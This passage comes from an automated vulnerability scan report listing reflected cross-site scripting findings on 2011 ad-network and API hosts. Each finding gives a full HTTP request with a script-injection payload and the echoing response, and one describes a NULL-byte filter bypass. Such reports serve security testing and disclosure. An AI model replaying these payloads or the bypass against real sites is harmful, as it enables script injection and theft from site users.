User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:23:47 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7540

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
d=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc246a1"-alert(1)-"06d6b358119&rurl=http%3a%2f%2fwww.newark.com/jsp/bespoke/bespoke7.jsp%3Fbespokepage%3Dcommon/en/technology-first/whats-new/whats-new.jsp%26CMP%3DBAN-L0-Opto");
var fscUrl = url;
var fscUrlClickTagFound = fals
...[SNIP]...

6.33. http://ads.adxpose.com/ads/ads.js [uid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.adxpose.com
Path:	/ads/ads.js

Issue detail

The value of the uid request parameter is copied into the HTML document as plain text between tags. The payload ad34f<script>alert(1)</script>7e0dd690cc was submitted in the uid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ads/ads.js?uid=ZC45X9Axu6NOUFfX_289668ad34f<script>alert(1)</script>7e0dd690cc HTTP/1.1
Host: ads.adxpose.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_a.php%3Fsearch%3D%7B%24keyword%7D&dt=1303647951817&bpp=4&shv=r20110414&jsv=r20110415&correlator=1303647951838&frm=1&adk=2614322350&ga_vid=2144667481.1303647952&ga_sid=1303647952&ga_hid=2004805199&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&fu=4&ifi=1&dtd=26
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evlu=8046e9fe-2ba6-4040-b3b9-5d1af9c46888

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=3667F90C3D92533777E23512D2CC53A4; Path=/
ETag: "0-gzip"
Cache-Control: must-revalidate, max-age=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM"
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
Date: Sun, 24 Apr 2011 12:29:28 GMT
Connection: close

if(typeof __ADXPOSE_CONTAINERS__==="undefined"){__ADXPOSE_CONTAINERS__={}}if(typeof __ADXPOSE_EVENT_QUEUES__==="undefined"){__ADXPOSE_EVENT_QUEUES__={}}if(typeof __adxpose__getOffset__==="undefined"){
...[SNIP]...
_LOG_EVENT__("000_000_3",b,j,"",Math.round(Y.left)+","+Math.round(Y.top),O+","+I,C,l,m,v,S,c)}}t=p.inView}}}if(!__ADXPOSE_PREFS__.override){__ADXPOSE_WIDGET_IN_VIEW__("container_ZC45X9Axu6NOUFfX_289668ad34f<script>alert(1)</script>7e0dd690cc".replace(/[^\w\d]/g,""),"ZC45X9Axu6NOUFfX_289668ad34f<script>
...[SNIP]...

6.34. http://adsfac.us/ag.asp [cc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://adsfac.us
Path:	/ag.asp

Issue detail

The value of the cc request parameter is copied into the HTML document as plain text between tags. The payload 42348<script>alert(1)</script>d34aa869659 was submitted in the cc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ag.asp?cc=42348<script>alert(1)</script>d34aa869659&source=js&ord=[timestamp] HTTP/1.1
Host: adsfac.us
Proxy-Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/pcw.main.news/topics/consumer_advice/article;pg=article;aid=149142;c=2206;c=1746;c=2210;pos=336showcase;tile=2;sz=336x280;ord=02880823?;c=win7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Length: 293
Content-Type: text/html
Expires: Sun, 24 Apr 2011 19:48:24 GMT
Server: Microsoft-IIS/7.0
Set-Cookie: FS42348%3Cscript%3Ealert%281%29%3C%2Fscript%3Ed34aa8696590=uid=8887577; expires=Mon, 25-Apr-2011 19:49:24 GMT; path=/
Set-Cookie: FS42348%3Cscript%3Ealert%281%29%3C%2Fscript%3Ed34aa869659=pctl=0&fpt=0%2C0%2C&pct%5Fdate=4131&pctm=1&FM1=1&pctc=1&FL0=1&FQ=1; expires=Tue, 24-May-2011 19:49:24 GMT; path=/
P3P: CP="NOI DSP COR NID CUR OUR NOR"
Date: Sun, 24 Apr 2011 19:49:23 GMT
Connection: close

if (typeof(fd_clk) == 'undefined') {var fd_clk = 'http://ADSFAC.US/link.asp?cc=42348<script>alert(1)</script>d34aa869659.0.0&CreativeID=1';}document.write('<a href="'+fd_clk+'&CreativeID=1" target="_blank">
...[SNIP]...

6.35. http://altfarm.mediaplex.com/ad/fm/3992-125865-29115-1 [mpt parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/fm/3992-125865-29115-1

Issue detail

The value of the mpt request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %004b54a"><script>alert(1)</script>431fd2e15ff was submitted in the mpt parameter. This input was echoed as 4b54a"><script>alert(1)</script>431fd2e15ff in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /ad/fm/3992-125865-29115-1?mpt=%004b54a"><script>alert(1)</script>431fd2e15ff&mpvc= HTTP/1.1
Host: altfarm.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0RNYnkg2EM_1392081529.html?rtbhost=rts-rr11.sldc.dataxu.net&btid=NERCNDNGQjEwMDAxRUYyMjBBRTU4MTBDMjI2MjFBRkJ8R0ZCT2liWFhBY3wxMzAzNjU4NDE5MTY5fDF8MEZ3bmdyZnBiQXwwUk5ZbmtnMkVNfEVYXzEwMjM0NzcyMDZ8MTUxMDY1&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbQ_sQAB7yIK5YEMImIa-_oXlc_g9IF-8zhv8w&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZ3bmdyZnBiQQ&ciu=MFJOWW5rZzJFTQ&reqid=NERCNDNGQjEwMDAxRUYyMjBBRTU4MTBDMjI2MjFBRkI&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=151&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; mojo2=16228:26209; mojo3=12309:6712/17404:9432/1551:17349/3484:15222/15017:28408/16228:26209

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Content-Type: text/html
Content-Length: 434
Date: Sun, 24 Apr 2011 15:21:10 GMT

<html><body bgcolor=#ffffff leftmargin="0" topmargin="0"><a target="_blank" href="http://altfarm.mediaplex.com/ad/ck/3992-125865-29115-1?mpt=%004b54a"><script>alert(1)</script>431fd2e15ff&mpvc="><img
...[SNIP]...

6.36. http://api.tweetmeme.com/url_info.jsonc [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.tweetmeme.com
Path:	/url_info.jsonc

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload ccb68<script>alert(1)</script>2d0efb9e6ac was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /url_info.jsonc?url=http%3A%2F%2Fwww.infusionblog.com%2F&callback=aptureJsonCallback1ccb68<script>alert(1)</script>2d0efb9e6ac HTTP/1.1
Host: api.tweetmeme.com
Proxy-Connection: keep-alive
Referer: http://www.infusionblog.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: user_unique_ident=4db0cb914d8999.97267012-57c11f7a933564d3f62b1bb71b01e19d

Response

HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Mon, 25 Apr 2011 01:40:33 GMT
Content-Type: text/html
Connection: close
P3P: CP="CAO PSA"
X-RateLimit-Limit: 400
X-RateLimit-Remaining: 361
X-Url-Lookup: OrAdd (31)
X-Served-By: h04
Content-Length: 448

aptureJsonCallback1ccb68<script>alert(1)</script>2d0efb9e6ac({"status":"success","story":{"title":"Infusionsoft Blog","url":"http:\/\/www.infusionblog.com\/","media_type":"news","created_at":"2009-03-05 22:58:12","url_count":"27","tm_link":"http:\/\/tweetmeme.c
...[SNIP]...

6.37. http://ar.voicefive.com/b/rc.pli [func parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/b/rc.pli

Issue detail

The value of the func request parameter is copied into the HTML document as plain text between tags. The payload e96ed<script>alert(1)</script>bfcafa00f07 was submitted in the func parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /b/rc.pli?func=COMSCORE.BMX.Broker.handleInteractione96ed<script>alert(1)</script>bfcafa00f07&n=ar_int_p97174789&1303647004372 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://www.hotelclub.com/common/adRevresda.asp?channel=home&Section=main&adsize=728x90&pos=bottom
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p97174789=exp=1&initExp=Sun Apr 24 12:09:48 2011&recExp=Sun Apr 24 12:09:48 2011&prad=253735207&arc=186884836&; BMX_3PC=1; UID=875e3f1e-184.84.247.65-1303349046; BMX_G=method%2D%3E%2D1%2Cts%2D%3E1303646989%2E757%2Cwait%2D%3E10000%2C

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 24 Apr 2011 12:10:02 GMT
Content-Type: application/x-javascript
Connection: close
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 83

COMSCORE.BMX.Broker.handleInteractione96ed<script>alert(1)</script>bfcafa00f07("");

6.38. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97176"><script>alert(1)</script>481e33765a1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader97176"><script>alert(1)</script>481e33765a1/PizzaHut_2H/201008/18-49/All/11303658438@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P8sfj1WxPNhXSsYda6b2ziXGP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sADQkBAgUCAAQAAAAAXiR2XAAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBv9VRxj-0TY6iNMX2lQfD1_DqAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtze_WOhtVbXb9r4MiVgqp5PRvdmxw%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658438%29%3Buf%28%27c%27%2C+43438%2C+1303658438%29%3Buf%28%27r%27%2C+158848%2C+1303658438%29%3Bppv%288484%2C+%276329876008611553227%27%2C+1303658438%2C+1304263238%2C+43438%2C+25553%29%3Bppv%288484%2C+%276329876008611553227%27%2C+1303658438%2C+1304263238%2C+43438%2C+25553%29%3B&cnd=!hBzzbAiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCriLQJGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:28:06 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e5245525d5f4f58455e445a4a423660;path=/;httponly

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader97176"><script>alert(1)</script>481e33765a1/PizzaHut_2H/201008/18-49/All/766539402/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.39. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 22680"><script>alert(1)</script>a2fbc62cbf8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H22680"><script>alert(1)</script>a2fbc62cbf8/201008/18-49/All/11303658438@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P8sfj1WxPNhXSsYda6b2ziXGP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sADQkBAgUCAAQAAAAAXiR2XAAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBv9VRxj-0TY6iNMX2lQfD1_DqAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtze_WOhtVbXb9r4MiVgqp5PRvdmxw%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658438%29%3Buf%28%27c%27%2C+43438%2C+1303658438%29%3Buf%28%27r%27%2C+158848%2C+1303658438%29%3Bppv%288484%2C+%276329876008611553227%27%2C+1303658438%2C+1304263238%2C+43438%2C+25553%29%3Bppv%288484%2C+%276329876008611553227%27%2C+1303658438%2C+1304263238%2C+43438%2C+25553%29%3B&cnd=!hBzzbAiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCriLQJGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:28:33 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 358
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e3f45525d5f4f58455e445a4a423660;path=/;httponly

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H22680"><script>alert(1)</script>a2fbc62cbf8/201008/18-49/All/1738728620/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.40. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a87d7"><script>alert(1)</script>ecb48976343 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H/201008a87d7"><script>alert(1)</script>ecb48976343/18-49/All/11303658438@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P8sfj1WxPNhXSsYda6b2ziXGP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sADQkBAgUCAAQAAAAAXiR2XAAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBv9VRxj-0TY6iNMX2lQfD1_DqAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtze_WOhtVbXb9r4MiVgqp5PRvdmxw%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658438%29%3Buf%28%27c%27%2C+43438%2C+1303658438%29%3Buf%28%27r%27%2C+158848%2C+1303658438%29%3Bppv%288484%2C+%276329876008611553227%27%2C+1303658438%2C+1304263238%2C+43438%2C+25553%29%3Bppv%288484%2C+%276329876008611553227%27%2C+1303658438%2C+1304263238%2C+43438%2C+25553%29%3B&cnd=!hBzzbAiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCriLQJGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:28:56 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 356
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e2b45525d5f4f58455e445a4a423660;path=/;httponly

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/ZapTrader/PizzaHut_2H/201008a87d7"><script>alert(1)</script>ecb48976343/18-49/All/86379371/x90/default/empty.gif/726348573830327254356f4142562f46?x" target="_top">
...[SNIP]...

6.41. http://b3.mookie1.com/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b3.mookie1.com
Path:	/2/ZapTrader/PizzaHut_2H/201008/18-49/All/11303658438@x90

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 200b7"><script>alert(1)</script>7e1d59694ad was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/ZapTrader/PizzaHut_2H/201008/18-49200b7"><script>alert(1)</script>7e1d59694ad/All/11303658438@x90 HTTP/1.1
Host: b3.mookie1.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=mpmZmZmZuT-amZmZmZm5PwAAAEAzMwdAmpmZmZmZuT-amZmZmZm5P8sfj1WxPNhXSsYda6b2ziXGP7RNAAAAAD8wAAC1AAAAbAEAAAIAAACAbAIA0WMAAAEAAABVU0QAVVNEAKAAWAIbC0sADQkBAgUCAAQAAAAAXiR2XAAAAAA.&pubclick=http://googleads.g.doubleclick.net/aclk?sa%3Dl%26ai%3DBv9VRxj-0TY6iNMX2lQfD1_DqAsDG1PcB6LqfjxvwmZTrRAAQARgBIAA4AVCAx-HEBGDJ7oOI8KPsEoIBF2NhLXB1Yi02ODg4MDY1NjY4MjkyNjM4sgEXcHViLnJldGFpbGVyLWFtYXpvbi5uZXS6AQoxNjB4NjAwX2FzyAEJ2gFJaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwP3NlYXJjaD0lN0Ika2V5d29yZCU3RJgCZMACBMgCqKikGagDAegDvAHoA5QC9QMAAADEgAaE3ZXQ39aT7_wB%26num%3D1%26sig%3DAGiWqtze_WOhtVbXb9r4MiVgqp5PRvdmxw%26client%3Dca-pub-6888065668292638%26adurl%3D&tt_code=vert-188&udj=uf%28%27a%27%2C+8044%2C+1303658438%29%3Buf%28%27c%27%2C+43438%2C+1303658438%29%3Buf%28%27r%27%2C+158848%2C+1303658438%29%3Bppv%288484%2C+%276329876008611553227%27%2C+1303658438%2C+1304263238%2C+43438%2C+25553%29%3Bppv%288484%2C+%276329876008611553227%27%2C+1303658438%2C+1304263238%2C+43438%2C+25553%29%3B&cnd=!hBzzbAiu0wIQgNkJGAAg0ccBKEsxmpmZmZmZuT9CEwgAEAAYACABKP7__________wFCDgikQhCriLQJGBEgAygCQgsIpEIQABgAIAIoAkgDUABYmxZgAGjsAg..&referrer=http://pub.retailer-amazon.net/banner_120_600_b.php
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; other_20110126=set; Dominos=247B3; id=914804995789526; RMFM=011QD4ETU10CWN; NXCLICK2=011QD4ETNX_TRACK_Radioshack/Magnetic/DYN2011Q1/M_COM/1x1/1[timestamp]!y!B3!CWN!EUV; RMFL=011QD4ETU107OI|U107OK

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:29:31 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 357
Content-Type: text/html
Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e2d45525d5f4f58455e445a4a423660;path=/;httponly

